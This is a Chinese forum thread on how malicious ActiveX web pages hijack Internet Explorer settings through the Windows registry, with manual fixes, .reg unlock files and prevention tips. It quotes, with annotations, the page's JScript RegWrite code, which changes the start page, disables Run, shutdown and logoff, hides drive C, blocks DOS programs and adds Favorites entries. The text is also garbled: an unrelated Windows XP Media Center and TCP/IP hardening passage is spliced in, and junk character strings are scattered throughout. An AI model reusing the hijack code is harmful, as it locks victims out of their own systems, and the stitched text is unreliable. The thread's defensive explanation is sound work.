浏览网页注册表被修改之迷及解决办法(更新中)

乏纳乏

网友在浏览网页时，造成注册表被修改，使得IE默认连接首页、标题栏及IE右键菜单被改为浏览网页时的地址（多为广告信息及其它的讨厌信息），更有甚者使浏览者的电脑在启动时出现一个提示窗口显示自己的广告，并会自动打开很多的网页,而且有愈演愈烈之势，尤其在办公室中，一不小心便中招，让你措手不及，遇到这种情况我们该怎样办呢？


一、注册表被修改的原因及解决办法


其实，该恶意网页是含有有害代码的ActiveX网页文件，这些广告信息的出现是因为浏览者的注册表被恶意更改的结果。


1、IE默认连接首页被修改


IE浏览器上方的标题栏被改成“欢迎访问******网站”的样式，这是最常见的篡改手段，受害者众多。


受到更改的注册表项目为：



??HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page
??HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page


通过修改“Start Page”的键值，来达到修改浏览者IE默认连接首页的目的，如浏览“*****”就会将你的IE默认连接首页修改为http://ppw.****.com ”，即便是出于给自己的主页做广告的目的，也显得太霸道了一些，这也是这类网页惹人厌恶的原因。


解决办法：


A.注册表法:


①在Windows启动后，点击“开始”→“运行”菜单项，在“打开”栏中键入regedit，然后按“确定”键；


②展开注册表到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main下，在右半部分窗口中找到串值“Start Page”双击 ，将Start Page的键值改为“about :blank”即可；


③同理，展开注册表到?HKEY_CURRENT_USER\Software\MicrosoftInternet Explorer\Main

在右半部分窗口中找到串值“Start Page”，然后按②中所述方法处理。


④退出注册表编辑器，重新启动计算机，一切OK了！

乏纳乏

B.特殊例子：当IE的起始页变成了某些网址后，就算你通过选项设置修改好了，重启以后又会变成他们的网址啦，十分的难缠。其实他们是在你机器里加了一个自运行程序，它会在系统启动时将你的IE起始页设成他们的网站。


解决办法：


运行注册表编辑器regedit.exe，然后依次展开HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run主键，然后将其下的registry.exe子键删除，然后删除自运行程序c:\ProgramFiles\registry.exe，最后从IE选项中重新设置起始页就好了。


2、篡改IE的默认页


有些IE被改了起始页后，即使设置了“使用默认页”仍然无效，这是因为IE起始页的默认页也被篡改啦。具体说来就是以下注册表项被修改：HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Default_Page_URL“Default_Page_URL”这个子键的键值即起始页的默认页。


解决办法：


A.运行注册表编辑器，然后展开上述子键，将“Default_Page_UR”子键的键值中的那些篡改网站的网址改掉就好了，或者设置为IE的默认值。


B.msconfig 有的还是将程序写入硬盘中，重启计算机后 首页设置又被改了回去，这时可使用“系统配置实用程序”来解决。开始-运行，键入msconfig点击“确定”，在弹出的窗口中切换到“启动”选项卡，禁用可疑程序启动项。


3、修改IE浏览器缺省主页，并且锁定设置项，禁止用户更改回来。主要是修改了注册表中IE设置的下面这些键值(DWORD值为1时为不可选)：



[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel] "Settings"=dword:1
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel] "Links"=dword:1
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]"SecAddSites"=dword:1


解决办法：


将上面这些DWORD值改为“0”即可恢复功能。


4、IE的默认首页灰色按扭不可选


这是由于注册表HKEY_USERS\DEFAULT\Software\Policies\Microsoft\Internet Explorer\Control Panel下的DWORD值“homepage”的键值被修改的缘故。原来的键值为“0”，被修改为“1”（即为灰色不可选状态）。


解决办法：


将“homepage”的键值改为“0”即可。

乏纳乏

IE标题栏被修改


在系统默认状态下，是由应用程序本身来提供标题栏的信息，但也允许用户自行在上述注册表项目中填加信息，而一些恶意的网站正是利用了这一点来得逞的：它们将串值Window Title下的键值改为其网站名或更多的广告信息，从而达到改变浏览者IE标题栏的目的。


具体说来受到更改的注册表项目为：



??HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title
??HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title


解决办法：


①在Windows启动后，点击“开始”→“运行”菜单项，在“打开”栏中键入regedit，然后按“确定”键；


②展开注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main下，在右半部分窗口中找到串值“Window Title”，将该串值删除即可，或将Window Title的键值改为“IE浏览器”等你喜欢的名字；


③同理，展开注册表到HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main然后按②中所述方法处理。


④退出注册表编辑器，重新启动计算机，运行IE，你会发现困扰你的问题解决了！

待续

101923

谢谢楼主分享！这个方法很好！

乏纳乏

下面就以改造成为Media Center Edition为例，介绍一下具体的做法。

　　软件准备

　　一、一个可以改造的操作系统

　　1.Windows XP Professional 英文零售版(因为到目前为止Media Center Edition只有英文版，如果用中文版来改造，需要更改核心语种设置，可能会出现一些异常情况，比如会出现半个汉字等等。所以强烈推荐使用英文零售版，可以100%实现完美改造)。

　　2.Windows XP Tablet PC Edition 英文随机版(Tablet PC Edition一样可以改造成为Media Center Edition，'业R件wTxIYB网b=_但是改造之后原有的写字板功能丢失，改造意义不大)。

　　3.Windows Server 2003 英文零售版(只能增加Media Center功能)。

　　注意：Windows XP Home Edition因为自身功能的限制无法改造成功，而任何免激活的大客户授权版本或者OEM版本也不可能改造成功，因为真正的Windows XP Media Center Edition是需要激活的版本。

　　二、Windows XP Media Center Edition的安装镜像(ISO)文件。

　　三、一款更改NT系列操作系统设置的实用软件“TweakNT.exe”。

　　1、设置生存时间
　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

　　DefaultTTL REG_DWORD 0-0xff(0-255 十进制，默认值128)

　　说明：指定传出IP数据包中设置的默认生存时间(TTL)值。TTL决定了IP数据包在到达目标前在网络中生存的最大时间。它实际上限定了IP数据包在丢弃前允许通过的路由器数量.有时利用此数值来探测远程主机操作系统。

　　2、防止ICMP重定向报文的攻击

　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

　　EnableICMPRedirects REG_DWORD 0x0(默认值为0x1)

　　说明：该参数控制Windows 2000是否会改变其路由表以响应网络设备(如路由器)发送给它的ICMP重定向消息，

b国D[w*理专jzx:

有时会被利用来干坏事.Win2000中默认值为1，表示响应ICMP重定向报文。

　　3、禁止响应ICMP路由通告报文

　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Inter

　　faces\interface

　　PerformRouterDiscovery REG_DWORD 0x0(默认值为0x2)

　　说明：“ICMP路由公告”功能可造成他人计算机的网络连接异常，数据被窃听，计算机被用于流量攻击等严重后果.此问题曾导致校园网某些局域网大面积，长时间的网络异常。因此建议关闭响应ICMP路由通告报文.Win2000中默认值为2，表示当DHCP发送路由器发现选项时启用。

　　4、防止SYN洪水攻击

　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

　　SynAttackProtect REG_DWORD 0x2(默认值为0x0)

　　说明：SYN攻击保护包括减少SYN-ACK重新传输次数，以减少分配资源所保留的时间。路由缓存项资源分配延迟，直到建立连接为止.如果synattackprotect=2，则AFD的连接指示一直延迟到三路握手完成为止.注意，仅在TcpMaxHalfOpen和TcpMaxHalfOpenRetried设置超出范围时，保护机制才会采取措施。

　　5、禁止C$、D$一类的缺省共享

　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters

　　AutoShareServer、REG_DWORD、0x0

乏纳乏

6、禁止ADMIN$缺省共享

　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters

　　AutoShareWks、REG_DWORD、0x0

　　7、限制IPC$缺省共享

　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

　　restrictanonymous REG_DWORD 0x0 缺省

　　　　　　　　　　　　　　0x1 匿名用户无法列举本机用户列表

　　　　　　　　　　　　　　0x2 匿名用户无法连接本机IPC$共享

　　说明：不建议使用2，否则可能会造成你的一些服务无法启动，如SQL Server

　　8、不支持IGMP协议

　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

　　IGMPLevel REG_DWORD 0x0(默认值为0x2)

　　说明：记得Win9x下有个bug，就是用可以用IGMP使别人蓝屏，修改注册表可以修正这个bug.Win2000虽然没这个bug了，但IGMP并不是必要的，因此照样可以去掉。改成0后用route print将看不到那个讨厌的224.0.0.0项了。

乏纳乏

9、设置arp缓存老化时间设置

　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services：\Tcpip\Parameters


　　浏览网页会被修改注册表？千真万确！如果你去浏览过下面的网页：http://www.某某.com/default.htm ，你真有生不如死的感觉！

进入该网页会被：

　　1.修改开始菜单

　　1）禁止“关闭系统”
　　2）禁止“运行”
　　3）禁止“注销”

　　2.隐藏C盘——你的C盘找不到了

　　3.禁止使用注册表编辑器regedit

　　4.禁止使用DOS程序

　　5.使系统无法进入“实模式”

　　6.禁止运行任何程序

　　7.将IE浏览器的首页改为http://www.某某.com/，收藏夹中也被加入该网址。

　　那么这些功能恐怖的功能是如何实现的呢？原来，该网页是有人利用Java技术制作的含有有害代码的ActiveX网页文件。为让更多的人了解其危害，我查看了其源代码，将其主要部分列了出来，并加了详细的注释（文中有“注”字的部分是我加的注释）。

注：下面代码是将你的IE默认连接首页改为http://www.某某.com/
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\
Start Page", "http://www.某某.com/"）;

注：以下是该网页修改受害者的注册表项所用的招数

Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
\\Policies\\Explorer\\NoRun", 01, "REG_BINARY"）;
注：使受害者系统没有“运行”项，这样用户就不能通过注册表编辑器来修改该有害网页对系统注册表的修改。

Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoClose", 01, "REG_BINARY"）;
注：使受害者系统没有“关闭系统”项

Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoLogOff", 01, "REG_BINARY"）;
注：使受害者系统没有“注销”项

Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoDrives", "00000004", "REG_DWORD"）;
注：使受害者系统没有逻辑驱动器C

Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\WinOldApp\\ Disabled","REG_BINARY"）;
注：禁止运行所有的DOS应用程序；

Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\ \WinOldApp\\NoRealMode","REG_BINARY"）;
注：使系统不能启动到“实模式”（传统的DOS模式）下；

又注：进入该网页，理"!9.A@n{育理育a它还会修改以下的注册表项，使WINDOWS系统登录时显示一个登录窗口（在MicroSoft网络用户登录之前）

Shl.RegWrite （"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Winlogon\\LegalNoticeCaption", "呜啦啦..."）;
注：这些代码会使窗口的标题是“呜啦啦…”

Shl.RegWrite （"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Winlogon\\LegalNoticeText", "欢迎你！你这个超级无敌大白痴！《呜啦啦...》故事开始了，

国中2pk!;RZa:
按确定进入悲惨世界"）;
注：上面一行是会在窗口中显示出来的文字

注：下面两行代码修改注册表，使受害者所有的IE窗口都加上以下的标题：“呜啦啦…”

Shl.RegWrite （"HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\
Window Title", "呜啦啦..."）;
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\
Window Title", "呜啦啦..."）;
注：到上面一行为止，完成了对受害者的注册表的所有修改！

注：下面代码用来将其网页增加到受害者的收藏夹中

var WF, Shor, loc;
WF = FSO.GetSpecialFolder（0）;
loc = WF + "\\Favorites";
if（!FSO.FolderExists（loc））
{
loc = FSO.GetDriveName（WF） + "\\Documents and Settings\\
" + Net.UserName + "\\Favorites";
if（!FSO.FolderExists（loc））
{
return;
}
}

注：下面就是使其网页加入到你的收藏夹的具体代码
AddFavLnk（loc, "找到感觉www.某某.com", "http://www.某某.com"）;

乏纳乏

由于代码很简单，又加了注释，相信你已经看明白是怎么回事了。那么如果不小心进入该网页，并且已经中招了该怎么办呢？别急，下面给你列出了解决的办法。

受害用户的修复方法：

　　1：对于Win9x用户，建议在电脑启动时按F8键，选择到MS-DOS方式下，使用Scanreg/restore命令来恢复以前备份的、正常的注册表。

　　2：对于Win2000用户，把以下内容copy下来，存为unlock.reg文件，选带命令行的安全模式，用命令regedit unlock.reg导入，如何重启机器就OK了。

unlock.reg文件内容如下：

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\Explorer]
"NoDriveTypeAutoRun"=dword:00000095
"NoRun"=hex:
"NoLogOff"=hex:
"NoDrives"=dword:00000000
"RestrictRun"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System]
"DisableRegistryTools"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System]
"DisableRegistryTools"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\WinOldApp]
"Disabled"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\WinOldApp]
"NoRealMode"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Winlogon]
"LegalNoticeCaption"=""
"LegalNoticeText"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
"Window Title"="IE浏览器"

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Window Title"="IE浏览器"

乏纳乏

预防办法：

　　1.要避免中招，HG管的育*国q育提L;的g关键是不要轻易去一些自己并不了解的站点。

　　2.在IE设置中将ActiveX插件和控件、Java脚本等全部禁止

　　3.可以通过升级到最新的病毒库，来预防该类恶意网页的侵害。

　　4.既然该网页是通过修改注册表来破坏我们的系统，那么我们可以事先把注册表加锁：禁止修改注册表，这样就可以达到预防的目的。不过，自己要使用注册表编辑器regedit.exe该怎么办呢？因此我们还要在此前事先准备一把“钥匙”，以便打开这把“锁”！

　　加锁方法如下：

　　（1）运行注册表编辑器regedit.exe；
　　（2）展开注册表到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System下，新建一个名为DisableRegistryTools的DWORD值，并将其值改为“1”，即可禁止使用注册表编辑器regedit.exe。

　　解锁方法如下：

　　用记事本编辑一个任意名字的.reg文件，比如unlock.reg，内容如下：

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System]
"DisableRegistryTools"=dword:00000000

　　存盘。你就有了一把解锁的钥匙了！如果要使用注册表编辑器，

gU[件管_wFW.络Aei1:

则双击unlock.reg即可。要注意的是，在“REGEDIT4”后面一定要空一行，并且“REGEDIT4”中的“4”和“T”之间一定不能有空格，否则将前功尽弃！

104344

http://www.123wa.com/index5.htm
就是这个流氓网站，只要我双击桌面上的上网快捷键，就会自动出来,用了你的方法START PAGE=about blank,除不掉. [s:6]